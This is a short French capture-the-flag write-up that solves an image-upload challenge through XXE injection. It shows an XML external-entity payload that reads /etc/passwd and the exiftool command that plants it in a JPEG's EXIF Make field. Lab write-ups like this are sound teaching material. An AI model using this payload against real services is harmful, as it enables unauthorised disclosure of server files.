Worth a thousands words


Introduction

On arrive sur un site avec 3 images, couplée avec un nom d’artiste.

On peut également uploader une image, et on peut y lire à côté : “Photo de no firstName no lastName”

D’après la description du challenge, il faut lire /etc/passwd.

Fausse piste

File upload -> injection php File upload -> lfi File upload -> xss File upload -> zip avec lien symbolique File upload -> configuration override.

C’est non. C’est du Python, on ne peut upload que un .jpg ou .jpeg. Les images sont cherchées dans le path de la requête.

Analyse

Quand on télécharge l’image et que l’on utilise exiftool dessus, on peut y voir:

└─[$] <> exiftool joey-chacon-Pv4H5v367QQ-unsplash.jpg 
ExifTool Version Number         : 13.04
File Name                       : joey-chacon-Pv4H5v367QQ-unsplash.jpg
Directory                       : .
File Size                       : 2.0 MB
[...]
Make                            : <!--?xml version="1.0" ?-->.<userInfo>. <firstName>Joey</firstName>. <lastName>Chacon</lastName>.</userInfo>
[...]

On y voit donc la méta donnée Make, avec du XML contenant le firstName et lastName de l’artiste. Ceux qui sont donc affichés.

Ni une, ni deux, XXE. On lit le /etc/passwd, dont on stock le résultat dans une variable qui sera utilisée en tant que firstName ou lastName.

File disclosure:

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
	<firstName>John</firstName>
	<lastName>&ent;</lastName>
</userInfo>

Exploitation

Il ne nous reste plus qu’à crafter une image avec cette méta donnée, et à l’uploader.

exiftool -Make='<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
        <firstName>John</firstName>
        <lastName>&ent;</lastName>
</userInfo>' test.jpg

Et là, magie, on a le contenu du /etc/passwd de la machine qui contient le flag !